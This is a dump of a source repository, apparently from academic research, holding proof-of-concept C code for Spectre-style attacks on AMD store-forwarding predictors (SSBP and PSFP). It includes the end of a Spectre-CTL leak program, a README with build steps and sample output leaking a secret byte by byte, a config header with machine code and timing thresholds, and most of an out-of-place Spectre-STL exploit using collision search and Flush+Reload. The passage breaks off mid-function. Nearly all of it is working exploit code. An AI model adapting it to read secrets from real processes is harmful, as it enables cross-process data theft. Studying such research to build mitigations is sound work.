194 | if (rank_0_idx < 0 || results[i] >= results[rank_0_idx]) {
195 | rank_1_idx = rank_0_idx;
196 | rank_0_idx = i;
197 | }
198 | else if (rank_1_idx < 0 || results[i] >= results[rank_1_idx]) {
199 | rank_1_idx = i;
200 | }
201 | }
202 | if (results[rank_0_idx] >= (2 * results[rank_1_idx] + 5) || (results[rank_0_idx] == 3 && results[rank_1_idx] == 0))
203 | break;
204 | }
205 | // The first and second best recoverd secret bytes.
206 | value[0] = (uint8_t)rank_0_idx;
207 | score[0] = results[rank_0_idx];
208 | value[1] = (uint8_t)rank_1_idx;
209 | score[1] = results[rank_1_idx];
210 | }
211 |
212 | /**
213 | * Search for collision based on our reverse engineering of SSBP.
214 | * The prime and probe function slides in executable_page_1 OR executable_page_2. We want the load inside the prime and probe function collides with the 1st load in the victim function (the prime function in executable_page_1) OR the 3rd load (the probe function in executable_page_2) in the victim function.
215 | * In specific, the hashed values of the physical address of the load are the same.
216 | * Since the address mapping is not available in user mode, we have to move the prime and probe function to change the physical address of the candidate load.
217 | * @param
218 | * - executable_page: address of the empty page where the prime OR probe function will be placed.
219 | - idx2_i: set aliased or non-aliased store-load pair in the victim space.
220 | * @return
221 | * - if the collision is found, return the offset of the entry to the start of executable_page; if not, return -1
222 | */
223 | int fill_function(char* executable_page, int idx2_i) {
224 | // Two variables that store the timestamp.
225 | uint64_t time1, time2;
226 | // Entry of the prime and probe function, whose address is alterable.
227 | static void (*entry) (void*, void*);
228 | // Make the 1st OR 3rd load in the victim space aliased with the proceeding store.
229 | idx2 = idx2_i;
230 | // Execute the collision finding algorithm.
231 | for (int i = 0; i < EXE_PAGE_SIZE - bytes_num_for_base; ++ i) {
232 | // Step 1. Slide the prime and probe function to a new address.
233 | // Step 1.1. Set the new entry of prime and probe function.
234 | char* page_in_bytes = executable_page + i;
235 | // Step 1.2. Fill the machine code to a specific address. Note that the IVAs and IPAs of the store and load are adjustable.
236 | if (mprotect(executable_page, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE) != 0) {
237 | printf("mprotect failed!\n");
238 | return 0;
239 | }
240 | for (int i = 0; i < bytes_num_for_base; i ++) {
241 | *(page_in_bytes + i) = function_base[i];
242 | }
243 | if (mprotect(executable_page, EXE_PAGE_SIZE, PROT_READ | PROT_EXEC) != 0) {
244 | printf("mprotect failed!\n");
245 | return 0;
246 | }
247 | // Step 1.3. Make the function callable.
248 | entry = (void*) page_in_bytes;
249 | // Step 2. Test whether the collision happens. Try TRY_FOR_COLLISION times for each possible address.
250 | int success_1 = 0, success_2 = 0;
251 | for (int try = 0; try < TRY_FOR_COLLISION; ++ try) {
252 | // Step 2.1. Initialize the target entry of SSBP in the victim space.
253 | // The memory access sequence is (a 40n a 40n a 40n).
254 | for (int j = 0; j < 3; ++ j) {
255 | idx = 0;
256 | // Expand the transient window through cache misses.
257 | clflush(&idx);
258 | clflush(&idx_chain_0);
259 | clflush(&idx_chain_1);
260 | clflush(&idx_chain_2);
261 | mfence();
262 | idx = (int)*(size_t*)*((size_t*)*(size_t *)idx_chain_2);
263 | victim_function();
264 | for (int k = 0; k < 40; ++ k) {
265 | idx = 1;
266 | clflush(&idx);
267 | mfence();
268 | victim_function();
269 | }
270 | }
271 | // Step 2.2. Update the SSBP entry in the victim space.
272 | // For the odd round, the SSBP entry is reset to reduce the noise.
273 | // For the even round, the SSBP entry is trained to predict as aliasing.
274 | idx = try & 1;
275 | clflush(&idx);
276 | clflush(&idx_chain_0);
277 | clflush(&idx_chain_1);
278 | clflush(&idx_chain_2);
279 | mfence();
280 | // trigger an update of the SSBP
281 | idx = (int)*(size_t*)*((size_t*)*(size_t *)idx_chain_2);
282 | victim_function();
283 | // Step 3. Execute the candidate prime and probe funcion and timing the function.
284 | // Step 3.1. Execute the memory access sequence below (35n).
285 | for(int j = 0; j < 35; ++ j) {
286 | mfence();
287 | time1 = gettime();
288 | (*entry)(&array2[0], &array2[1]);
289 | mfence();
290 | time2 = gettime() - time1;
291 | mfence();
292 | timing[j] = time2;
293 | }
294 | // Step 3.2. Count the frequency of non-alised execution time.
295 | // The non-alised execution time is shorter than the aliased one, and we use TYPE_H_BOUND to distinguish them.
296 | int cnt_h = cnt_non_aliasing(timing, 35);
297 | // Step 3.3. For the odd round, the frequency should range from [34, 35] when the collision happens.
298 | success_1 += (try & 1) && cnt_h >= 34 ? 1 : 0;
299 | // Step 3.4. For the even round, the frequency should range from [19, 21] when the collision happens.
300 | success_2 += !(try & 1) && cnt_h >= 19 && cnt_h <= 21 ? 1 : 0;
301 | }
302 | // Step 4. Determine whether a collision occurs.
303 | // The judging threshold of success rate is 80% for the odd round and 80% for the even round.
304 | // Step 4.1. Find the collision and return the entry address (in the form of the offset from executable_page).
305 | if (success_1 >= TRY_FOR_COLLISION * 0.4 && success_2 >= TRY_FOR_COLLISION * 0.4) { // find the collision and exit
306 | printf("find offset as %d\n", i);
307 | return i;
308 | }
309 | // Step 4.2. The collision does not occur, continue.
310 | continue;
311 | }
312 | // If the collision cannot be found, return -1.
313 | printf("cannot find target, idx2 = %d\n", idx2_i);
314 | return -1;
315 | }
316 |
317 | int main(int argc, const char* * argv) {
318 | // Create plenty of pages to find the collision of SSBP.
319 | // Page number can be adjusted by modifying the macro PG_NUM.
320 | executable_page_1 = mmap(0, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
321 | executable_page_2 = mmap(0, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
322 |
323 | // Create address mapping for executable_page_1 and executable_page_2.
324 | for (int i = 0; i < EXE_PAGE_SIZE; i ++) {
325 | executable_page_1[i] ^= temp;
326 | executable_page_2[i] ^= temp;
327 | }
328 |
329 | // Create address mapping for array2.
330 | for (size_t i = 0; i < 256; i ++)
331 | array2[i] = 0;
332 |
333 | // Initialize the values for the collision finding algorithm.
334 | array2[0] = 0;
335 | array1[0] = 10;
336 |
337 | // Search SSBP collision address for the prime function.
338 | printf("Search offset of prime entry: ");
339 | int prime_entry_offset = fill_function(executable_page_1, 0);
340 |
341 | // Check search result.
342 | if (prime_entry_offset == -1) {
343 | printf("cannot find prime entry, quit.\n");
344 | return 0;
345 | }
346 | prime_entry = (void*) executable_page_1 + prime_entry_offset;
347 |
348 | // Initialize the values for the collision finding algorithm.
349 | array2[10] = 0;
350 | array1[0] = 0;
351 |
352 | // Search SSBP collision address for the probe function.
353 | printf("Search offset of probe entry: ");
354 | int probe_entry_offset = fill_function(executable_page_2, 10);
355 |
356 | // Check search result.
357 | if (probe_entry_offset == -1) {
358 | printf("cannot find probe entry, quit.\n");
359 | return 0;
360 | }
361 | probe_entry = (void*) executable_page_2 + probe_entry_offset;
362 |
363 | // Leak Secret through Spectre-CTL Attack, the framework is adapted from Eugnis' code.
364 | printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret));
365 | size_t malicious_x = (size_t)(secret - (char *)array1), secret_base = (size_t)(secret);
366 | int score[2], len = LEAK_LEN;
367 | uint8_t value[2];
368 | printf("Reading %d bytes:\n", len);
369 | while (-- len >= 0) {
370 | printf("Reading at address = 0x%lx... ", secret_base ++);
371 | leak(malicious_x ++, value, score);
372 | printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
373 | printf("0x%02X='%c' score=%d ", value[0],
374 | (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
375 | if (score[1] > 0)
376 | printf("(second best: 0x%02X='%c' score=%d)", value[1],
377 | (value[1] > 31 && value[1] < 127 ? value[1] : '?'),
378 | score[1]);
379 | printf("\n");
380 | }
381 | return (0);
382 | }
--------------------------------------------------------------------------------
/Spectre-STL-ng/Makefile:
--------------------------------------------------------------------------------
1 | all: spectre-stl-ofp
2 |
3 | %: %.c
4 | $(CC) $< -o $@
5 |
6 | clean:
7 | rm -f spectre-stl-ofp
--------------------------------------------------------------------------------
/Spectre-STL-ng/README.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 |
3 | In this Proof-of-Concept (PoC), we introduce the utilization of PSFP (Predictive Store Forwarding Predictor) to construct a novel variant of the Spectre-STL (aka Spectre V4) Attack, referred to as out-of-place Spectre-STL.
4 |
5 | Specifically, this PoC demonstrates that the PSFP can be effectively employed to trigger a transient window without relying on the branch predictor or a faulty load. In contrast to the conventional Spectre-STL Attack, where the training of the PSFP requires repeated execution of the same store-load instruction pair, we showcase that an aliasing store-load pair can also be used to train the PSFP effectively. This novel approach enhances our understanding of Spectre attacks and highlights the potential security implications associated with the PSFP.
6 |
7 | ## Note
8 | AMD has released a [document](https://www.amd.com/system/files/documents/security-analysis-predictive-store-forwarding.pdf) on the security analysis of AMD Predictive Store Forwarding (PSF) and stated that "it is possible that a store/load pair which does have a dependency may alias in the predictor with another store/load pair which does not." As far as we know, we are the first academic group to uncover the inner workings of PSF and to discover the method of training PSFP using an aliased store-load pair. This research provides valuable insights into the behavior and training of PSFP, contributing to a deeper understanding of its vulnerabilities and potential mitigation strategies.
9 |
10 | ## Build
11 |
12 | A C compiler is required. For example, we use gcc 9.4.0 with make 4.2.1. No specific kernel or package dependencies and installations are required. The executable file named `spectre-stl-ofp` can be built through a simple command:
13 |
14 | ```shell
15 | make
16 | ```
17 |
18 | ## Run
19 |
20 | ```shell
21 | ./spectre-stl-ofp
22 | ```
23 |
24 | Expected result is as follows:
25 |
26 | ```
27 | Search offset of prime entry:
28 | Find collision offset as 31711
29 | Putting 'Leaky PSFP: An out-of-place Spectre-STL attack!' in memory, address 0x55da454ef008
30 | Reading 47 bytes:
31 | Reading at address = 0x55da454ef008... Success: 0x4C='L' score=3
32 | Reading at address = 0x55da454ef009... Success: 0x65='e' score=3
33 | Reading at address = 0x55da454ef00a... Success: 0x61='a' score=3
34 | Reading at address = 0x55da454ef00b... Success: 0x6B='k' score=3
35 | Reading at address = 0x55da454ef00c... Success: 0x79='y' score=7 (second best: 0x9E='?' score=1)
36 | Reading at address = 0x55da454ef00d... Success: 0x20=' ' score=3
37 | Reading at address = 0x55da454ef00e... Success: 0x50='P' score=3
38 | Reading at address = 0x55da454ef00f... Success: 0x53='S' score=3
39 | Reading at address = 0x55da454ef010... Success: 0x46='F' score=3
40 | Reading at address = 0x55da454ef011... Success: 0x50='P' score=3
41 | Reading at address = 0x55da454ef012... Success: 0x3A=':' score=3
42 | Reading at address = 0x55da454ef013... Success: 0x20=' ' score=3
43 | Reading at address = 0x55da454ef014... Success: 0x41='A' score=3
44 | Reading at address = 0x55da454ef015... Success: 0x6E='n' score=3
45 | Reading at address = 0x55da454ef016... Success: 0x20=' ' score=3
46 | Reading at address = 0x55da454ef017... Success: 0x6F='o' score=3
47 | Reading at address = 0x55da454ef018... Success: 0x75='u' score=3
48 | Reading at address = 0x55da454ef019... Success: 0x74='t' score=3
49 | Reading at address = 0x55da454ef01a... Success: 0x2D='-' score=7 (second best: 0x63='c' score=1)
50 | Reading at address = 0x55da454ef01b... Success: 0x6F='o' score=3
51 | Reading at address = 0x55da454ef01c... Success: 0x66='f' score=3
52 | Reading at address = 0x55da454ef01d... Success: 0x2D='-' score=3
53 | Reading at address = 0x55da454ef01e... Success: 0x70='p' score=3
54 | Reading at address = 0x55da454ef01f... Success: 0x6C='l' score=3
55 | Reading at address = 0x55da454ef020... Success: 0x61='a' score=3
56 | Reading at address = 0x55da454ef021... Success: 0x63='c' score=3
57 | Reading at address = 0x55da454ef022... Success: 0x65='e' score=3
58 | Reading at address = 0x55da454ef023... Success: 0x20=' ' score=3
59 | Reading at address = 0x55da454ef024... Success: 0x53='S' score=3
60 | Reading at address = 0x55da454ef025... Success: 0x70='p' score=3
61 | Reading at address = 0x55da454ef026... Success: 0x65='e' score=3
62 | Reading at address = 0x55da454ef027... Success: 0x63='c' score=3
63 | Reading at address = 0x55da454ef028... Success: 0x74='t' score=3
64 | Reading at address = 0x55da454ef029... Success: 0x72='r' score=3
65 | Reading at address = 0x55da454ef02a... Success: 0x65='e' score=3
66 | Reading at address = 0x55da454ef02b... Success: 0x2D='-' score=3
67 | Reading at address = 0x55da454ef02c... Success: 0x53='S' score=3
68 | Reading at address = 0x55da454ef02d... Success: 0x54='T' score=3
69 | Reading at address = 0x55da454ef02e... Success: 0x4C='L' score=3
70 | Reading at address = 0x55da454ef02f... Success: 0x20=' ' score=3
71 | Reading at address = 0x55da454ef030... Success: 0x61='a' score=3
72 | Reading at address = 0x55da454ef031... Success: 0x74='t' score=3
73 | Reading at address = 0x55da454ef032... Success: 0x74='t' score=3
74 | Reading at address = 0x55da454ef033... Success: 0x61='a' score=3
75 | Reading at address = 0x55da454ef034... Success: 0x63='c' score=3
76 | Reading at address = 0x55da454ef035... Success: 0x6B='k' score=3
77 | Reading at address = 0x55da454ef036... Success: 0x21='!' score=3
78 | ```
79 |
80 | ### Note
81 |
82 | In the out-of-order Spectre-STL implementation, it can be more challenging to achieve successful results due to the intricate design of the access mechanism in PSFP. Specifically, both the store and load Instruction Physical Addresses (IPA) are utilized in calculating the hash tag, making it difficult to find an aliased store-load pair in some cases (which also indicates that PSFP is much safer than SSBP). When this occurs, the output will indicate the following:
83 |
84 | ```
85 | Search offset of prime entry:
86 | Cannot find target.
87 | Cannot find prime entry, please try again.
88 | ```
89 |
90 | To address this issue, we recommend the following solutions:
91 |
92 | - Attempt more iterations until a collision is found, increasing the chances of locating an aliased store-load pair.
93 | - Modify the `PG_NUM` macro in `config.h` to a larger size. After making this change, rebuild the program and try again.
94 | - Set the process affinity by executing `taskset -c ./spectre-stl-ng`.
95 |
96 | ## Configurable parameters
97 |
98 | Some configurable parameters are listed in file `config.h`. The parameters are divided into 2 categories. After modifying some of the parameters, please rebuild the PoC:
99 |
100 | ```
101 | make clean & make
102 | ```
103 |
104 | ### System parameters
105 |
106 | System parameters relate to the microarchitecture design and CPU frequency. There are 2 configurable system parameters in this PoC.
107 |
108 | #### TYPE_H_BOUND
109 |
110 | This judgment threshold is used to determine whether a non-aliased store-load pair is predicted as aliasing or non-aliasing. If the store-load pair is predicted as non-aliasing, the execution time is shorter; otherwise, the execution time is longer.
111 |
112 | For example, on AMD Ryzen 9 5900X with the following CPU frequency configuration, a feasible `TYPE_H_BOUND` is 190 (146 vs 205+).
113 |
114 | ```
115 | CPU MHz: 2200.000
116 | CPU max MHz: 3700.0000
117 | CPU min MHz: 2200.0000
118 | ```
119 |
120 | #### CACHE_HIT_THRESHOLD
121 |
122 | This judgment threshold is used to determine whether a load hits in the cache or not. If the load hits in the cache, the execution time is shorter; otherwise, the execution time is longer. A feasible `CACHE_HIT_THRESHOLD` is 230 in our experiment enviroment.
123 |
124 | ### Attack parameters
125 |
126 | Attack parameters relate to the attack performance, including success rate and leakage speed. Six parameters are configurable in this PoC.
127 |
128 | #### SECRET
129 |
130 | A string that is placed in the victim space.
131 |
132 | #### LEAK_LEN
133 |
134 | The lenght of bytes that will be leaked, which is suggested to be less than the length of the secret string.
135 |
136 | #### CACHE_ST
137 |
138 | Encoding granularity for Flush+Reload. The larger size will result in a better resolution, but requires a larger attacker-availble memory space. For more information, please refer to Flush+Reload Attack.
139 |
140 | #### TRY_FOR_LEAK
141 |
142 | Try times for secret leakage, which is 100 by dedault.
143 |
144 | #### TRY_FOR_COLLISION
145 |
146 | Try times for collision finding, which is 10 by dedault.
147 |
148 | #### PG_NUM
149 |
150 | Size of the empty executable page for code sliding, which is 8 by dedault.
--------------------------------------------------------------------------------
/Spectre-STL-ng/config.h:
--------------------------------------------------------------------------------
1 | /*
2 | * System adjustable parameters.
3 | * These parameters relate to the microarchitecture design and CPU frequency.
4 | */
5 |
6 | // Cache threshold, cache hit if time <= threshold.
7 | #define CACHE_HIT_THRESHOLD 230
8 | // PSFP threshold, PSFP predicts as non-aliasing if time <= threshold.
9 | #define TYPE_H_BOUND 190
10 |
11 | /*
12 | * Attack adjustable parameters.
13 | * These parameters relate to the attack performance, including success rate and leakage speed.
14 | */
15 |
16 | // Secret in the victim space that is to be leaked.
17 | #define SECRET "Leaky PSFP: An out-of-place Spectre-STL attack!\0"
18 | // Leakage length.
19 | #define LEAK_LEN 47
20 | // Encoding granularity for Flush+Reload.
21 | #define CACHE_ST (1 << 10)
22 | // Try times for secret leakage.
23 | #define TRY_FOR_LEAK 100
24 | // Try times for collision finding.
25 | #define TRY_FOR_COLLISION 10
26 | // Try size for the prime and probe function.
27 | #define PG_NUM 8
28 |
29 | /*
30 | * Attack fixed parameters.
31 | * These parameters should not be modified.
32 | */
33 |
34 | /** Prime and probe function in the machine code format. Assembly code is as follows:
35 | * movq $0, %rax
36 | * .rep 20
37 | * imul $1, %rdi
38 | * .endr
39 | * movq %rax, 0x0(%rdi)
40 | * movl 0x0(%rsi), %eax
41 | * .rep 20
42 | * imul $1, %eax
43 | * .endr
44 | * ret
45 | **/
46 | #define PRIME_PROBE_FUNC 72, 199, 192, 0, 0, 0, 0, 72, 107, 255, 1, 72, 107, 255, 1,\
47 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107,\
48 | 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72,\
49 | 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\
50 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255,\
51 | 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 137, 7,\
52 | 144, 139, 6, 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
53 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
54 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
55 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
56 | 107, 192, 1, 195
57 | // Page size.
58 | #define PG_SIZE (1 << 12)
59 | // Size of search space for collision finding.
60 | #define EXE_PAGE_SIZE (PG_NUM * PG_SIZE)
61 | // We use instruction RDPRU to get the timestamp.
62 | #define RDPRU ".byte 0x0f, 0x01, 0xfd"
--------------------------------------------------------------------------------
/Spectre-STL-ng/spectre-stl-ofp.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | /* ======================= */
9 | /* PoC Configuration. */
10 | /* ======================= */
11 |
12 | #include "config.h"
13 |
14 | /* ======================= */
15 | /* Common address space. */
16 | /* ======================= */
17 |
18 | // Variables that are used both in attacker and victim space.
19 | uint8_t array1[64];
20 | uint8_t array_padding[64];
21 | long array2[256 * CACHE_ST] __attribute__ ((aligned (1024)));
22 | size_t idx, padding_0;
23 | uint8_t padding_1[64];
24 | size_t idx_chain_0 = (size_t) &idx;
25 | uint8_t padding_1[64];
26 | size_t idx_chain_1 = (size_t) &idx_chain_0;
27 | uint8_t padding_2[64];
28 | size_t idx_chain_2 = (size_t) &idx_chain_1;
29 |
30 | /* ======================= */
31 | /* Victim address space. */
32 | /* ======================= */
33 |
34 | // For an avaliable load.
35 | char* secret = SECRET;
36 |
37 | // For an non-optimized load.
38 | uint8_t temp = 0;
39 |
40 | void victim_function(size_t x) {
41 | // Delayed store, cause a prediction of PSFP.
42 | array2[idx * CACHE_ST] = x;
43 | /* Three loads:
44 | 1) load1 = array2[0];
45 | 2) load2 = array1[load1];
46 | 3) load3 = array2[load2 * CACHE_ST].
47 | */
48 | temp = array2[array1[array2[0]] * CACHE_ST];
49 | }
50 |
51 | /* ======================= */
52 | /* Attacker address space. */
53 | /* ======================= */
54 |
55 | // Prime and probe function in the machine code format. This code is used during fiding the PSFP collision, and slides in an executable page. The instruction address of this function increases one byte for each round of collision finding.
56 | uint8_t function_base[154] = {
57 | PRIME_PROBE_FUNC
58 | };
59 |
60 | // Length of the machine bytes.
61 | int bytes_num_for_base = 154;
62 |
63 | // The page where the prime and probe function will be placed.
64 | static char* executable_page_1;
65 |
66 | // The declaration of psfp_handler function. This is the entry of the prime and probe function that in the machine code format in line 56.
67 | static void (*psfp_handler_entry) (void*, void*);
68 |
69 | // Record execution time of the prime and probe function.
70 | uint64_t timing[100];
71 |
72 | /**
73 | * Memory fence.
74 | */
75 | __attribute__((always_inline)) inline void mfence() {
76 | __asm__ volatile("mfence" ::: "memory");
77 | }
78 |
79 | /**
80 | * Instruction fence.
81 | */
82 | __attribute__((always_inline)) inline void lfence() {
83 | __asm__ volatile("lfence" ::: "memory");
84 | }
85 |
86 | /**
87 | * Flush a specific cache line by a given address.
88 | * @param
89 | * - addr: the virtual address that needs to be flushed
90 | */
91 | __attribute__((always_inline)) inline void clflush(void* addr) {
92 | __asm__ volatile("clflush (%0)" :: "r"(addr));
93 | }
94 |
95 | /**
96 | * Get a timestamp on the CPU that executes the code.
97 | * @return
98 | * - the 64-bit timestamp
99 | */
100 | __attribute__((always_inline)) inline size_t gettime(void) {
101 | unsigned long low_a, high_a;
102 | asm volatile(RDPRU
103 | : "=a" (low_a), "=d" (high_a)
104 | : "c" (1));
105 | unsigned long aval = ((low_a) | (high_a) << 32);
106 | return aval;
107 | }
108 |
109 | /**
110 | * Analyse a given time record, return the count of speculative store bypass state.
111 | * @param
112 | * - timing: timestamp records, in the form of an array
113 | * - len: the length of timestamp array
114 | * @return
115 | * - the count of speculative store bypass state.
116 | */
117 | int cnt_non_aliasing(uint64_t* timing, int len) {
118 | int cnt = 0;
119 | for(int i = 0; i < len; i ++)
120 | cnt += timing[i] <= TYPE_H_BOUND ? 1 : 0;
121 | return cnt;
122 | }
123 |
124 | /**
125 | * Leak secrets through out-of-place Spectre-STL attack.
126 | * We modify the code based on Spectre-V1 attack (https://github.com/Eugnis/spectre-attack).
127 | * @param
128 | * - malicious_x: the distance between secret byte and the base address of array1
129 | * - value: record the recovered byte for each round of try, each element ranges from 0 to 255
130 | * - score: count the recovered value for each round of try, each element ranges from 0 to TRY_FOR_LEAK
131 | **/
132 | void leak(size_t malicious_x, uint8_t value[2], int score[2]) {
133 | // Temporal score board.
134 | static int results[256];
135 | // Store the timestamp.
136 | register uint64_t time1, time2;
137 | // For flush and reload.
138 | uint8_t junk = 0;
139 | volatile uint8_t* addr;
140 | // For score board evaluation.
141 | int rank_0_idx, rank_1_idx, mix_i;
142 | // Reset the score board.
143 | for (int i = 0; i < 256; i ++)
144 | results[i] = 0;
145 | // Leak secrets through out-of-place Spectre-STL attack.
146 | for (int tries = TRY_FOR_LEAK; tries > 0; tries--) {
147 | // Prepare for Flush+Reload.
148 | for (int i = 0; i < 256; i ++)
149 | clflush(&array2[i * CACHE_ST]);
150 | // Initialize PSFP to ensure PSFP hit for the victim load.
151 | // The sequence used here is (a 40n a 40 n a 40n).
152 | for (int i = 0; i < 3; i ++) {
153 | (*psfp_handler_entry)(&array2[0], &array2[0]);
154 | for (int j = 0; j < 40; j ++) {
155 | mfence();
156 | (*psfp_handler_entry)(&array2[0], &array2[0] + 10);
157 | }
158 | }
159 | // Prime PSFP entry, and train it to predict as aliasing and predictive store forwarding.
160 | // The sequence used here is (5a).
161 | for (int i = 0; i <= 4; i ++) {
162 | (*psfp_handler_entry)(&array2[0], &array2[0]);
163 | mfence();
164 | }
165 | // Prepare an non-aliasing store-load pair for attack.
166 | idx = 10;
167 | array2[0] = 0;
168 | temp = array2[0];
169 | // Delay the address generation of the store.
170 | clflush(&idx);
171 | // Wait for the cache flush.
172 | for (volatile int z = 0; z < 100; z ++) {}
173 | // Trigger a transient execution in the victim space.
174 | victim_function(malicious_x);
175 | // Reset PSFP for next round of leak.
176 | usleep(1);
177 | // Perform Flush+Reload. We use Eugnis' code here.
178 | for (int i = 0; i < 256; i ++) {
179 | mix_i = ((i * 167) + 13) & 255;
180 | addr = (uint8_t*) &array2[mix_i * CACHE_ST];
181 | time1 = gettime();
182 | lfence();
183 | junk = *addr;
184 | lfence();
185 | time2 = gettime() - time1;
186 | if (time2 <= CACHE_HIT_THRESHOLD && mix_i != 0x0a && mix_i != 0x00)
187 | results[mix_i] ++;
188 | }
189 | // Evaluate the score board, and perform an early-stop algorithm.
190 | rank_0_idx = -1, rank_1_idx = -1;
191 | for (int i = 0; i < 256; i ++) {
192 | if (rank_0_idx < 0 || results[i] >= results[rank_0_idx]) {
193 | rank_1_idx = rank_0_idx;
194 | rank_0_idx = i;
195 | }
196 | else if (rank_1_idx < 0 || results[i] >= results[rank_1_idx]) {
197 | rank_1_idx = i;
198 | }
199 | }
200 | if (results[rank_0_idx] >= (2 * results[rank_1_idx] + 5) || (results[rank_0_idx] == 3 && results[rank_1_idx] == 0))
201 | break;
202 | }
203 | // The first and second best recoverd secret bytes.
204 | value[0] = (uint8_t)rank_0_idx;
205 | score[0] = results[rank_0_idx];
206 | value[1] = (uint8_t)rank_1_idx;
207 | score[1] = results[rank_1_idx];
208 | }
209 |
210 | /**
211 | * Search for collision based on our reverse engineering of PSFP.
212 | * The prime and probe function slides in executable_page_1. We want the store-load pair inside the prime and probe function collides with the store-load pair in the victim function.
213 | * In specific, the hashed values of the physical address of the two store-load pairs are the same.
214 | * Since the address mapping is not available in user mode, we have to move the prime and probe function to change the physical address of the candidate store-load pair.
215 | * @param
216 | * - executable_page: address of the empty page where the prime and probe function will be placed.
217 | * @return
218 | * - if the collision is found, return the offset of the entry to the start of executable_page; if not, return -1
219 | */
220 | int search_for_collision(char* executable_page) {
221 | // Two variables that store the timestamp.
222 | uint64_t time1, time2;
223 | // Entry of the prime and probe function, whose address is alterable.
224 | static void (*entry) (void*, void*);
225 | // The memory access sequence (7n a 7n a 7n a 4a n 4a n 3a) that modifies the state of PSFP and SSBP.
226 | // 0 means non-aliased store-load pair(n), where the store and load target to different memory addresses;
227 | // 1 means aliasd store-load pair(a), where the store and load target to the same memory address.
228 | // After executing the sequence, the main counter of PSFP will be set to 5, while the main counter of SSBP will be set to 0.
229 | int initialize_ops[38] = {0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1};
230 | int len_initialize_ops = 38;
231 | // Execute the collision finding algorithm.
232 | for (int i = EXE_PAGE_SIZE - bytes_num_for_base; i >= 0; i --) {
233 | // Step 1. Slide the prime and probe function to a new address.
234 | // Step 1.1. Set the new entry of prime and probe function.
235 | char* page_in_bytes = executable_page + i;
236 | printf("try offset: %-8d\r", i);
237 | fflush(stdout);
238 | // Step 1.2. Fill the machine code to a specific address. Note that the IVAs and IPAs of the store and load are adjustable.
239 | if (mprotect(executable_page, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE) != 0)
240 | return -1;
241 | for (int i = 0; i < bytes_num_for_base; i ++)
242 | *(page_in_bytes + i) = function_base[i];
243 | if (mprotect(executable_page, EXE_PAGE_SIZE, PROT_READ | PROT_EXEC) != 0)
244 | return -1;
245 | // Step 1.3. Make the function callable.
246 | entry = (void*) page_in_bytes;
247 | // Step 2. Test whether the collision happens. Try TRY_FOR_COLLISION times for each possible address.
248 | int success_1 = 0, success_2 = 0;
249 | for (int try = 0; try < TRY_FOR_COLLISION; try ++) {
250 | // Step 2.1. Execute the pre-defined memory access sequence in the victim space.
251 | // The PSFP and SSBP entries that the victim store-load pair choose are initialized.
252 | // PSFP now predicts the victim store-load pair as aliasing (a).
253 | for (int j = 0; j < len_initialize_ops; j ++) {
254 | idx = initialize_ops[j] == 1 ? 0 : 1;
255 | clflush(&idx);
256 | mfence();
257 | victim_function(10);
258 | }
259 | // Step 2. For the odd round, the PSFP entry is reset to reduce the noise.
260 | // After execution the sequence below (40n), PSFP now predicts the pair as non-aliasing (n).
261 | if ((try & 1)) {
262 | for (int j = 0; j < 40; j ++) {
263 | idx = 1;
264 | clflush(&idx);
265 | mfence();
266 | victim_function(10);
267 | }
268 | }
269 | // Step 3. Execute the candidate prime and probe funcion and timing the function.
270 | // Step 3.1. Execute the memory access sequence below (35n).
271 | for(int j = 0; j < 35; j ++) { // probe the SSBP
272 | mfence();
273 | time1 = gettime(); // read timer
274 | (*entry)(&array2[0], &array2[1]);
275 | mfence();
276 | time2 = gettime() - time1; // read timer & compute the elapse time
277 | mfence();
278 | timing[j] = time2;
279 | }
280 | // Step 3.2. Count the frequency of non-alised execution time.
281 | // The non-alised execution time is shorter than the aliased one, and we use TYPE_H_BOUND to distinguish them.
282 | int cnt_h = cnt_non_aliasing(timing, 35);
283 | // Step 3.3. For the odd round, the frequency should range from [29, 32] when the collision happens.
284 | success_1 += (try & 1) && cnt_h >= 29 && cnt_h <= 32 ? 1 : 0;
285 | // Step 3.4. For the even round, the frequency should range from [3, 5] when the collision happens.
286 | success_2 += !(try & 1) && cnt_h >= 3 && cnt_h <= 5 ? 1 : 0;
287 | }
288 | // Step 4. Determine whether a collision occurs.
289 | // The judging threshold of success rate is 40% for the odd round and 60% for the even round.
290 | // Step 4.1. Find the collision and return the entry address (in the form of the offset from executable_page).
291 | if (success_1 >= TRY_FOR_COLLISION * 0.2 && success_2 >= TRY_FOR_COLLISION * 0.3) {
292 | printf("Find collision offset as %d\n", i);
293 | return i;
294 | }
295 | // Step 4.2. The collision does not occur, continue.
296 | continue;
297 | }
298 | // If the collision cannot be found, return -1.
299 | printf("Cannot find target.\n");
300 | return -1;
301 | }
302 |
303 | int main() {
304 | // Create plenty of pages to find the collision of PSFP.
305 | // Page number can be adjusted by modifying the macro PG_NUM.
306 | executable_page_1 = mmap(0, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
307 |
308 | // Create address mapping for executable_page_1.
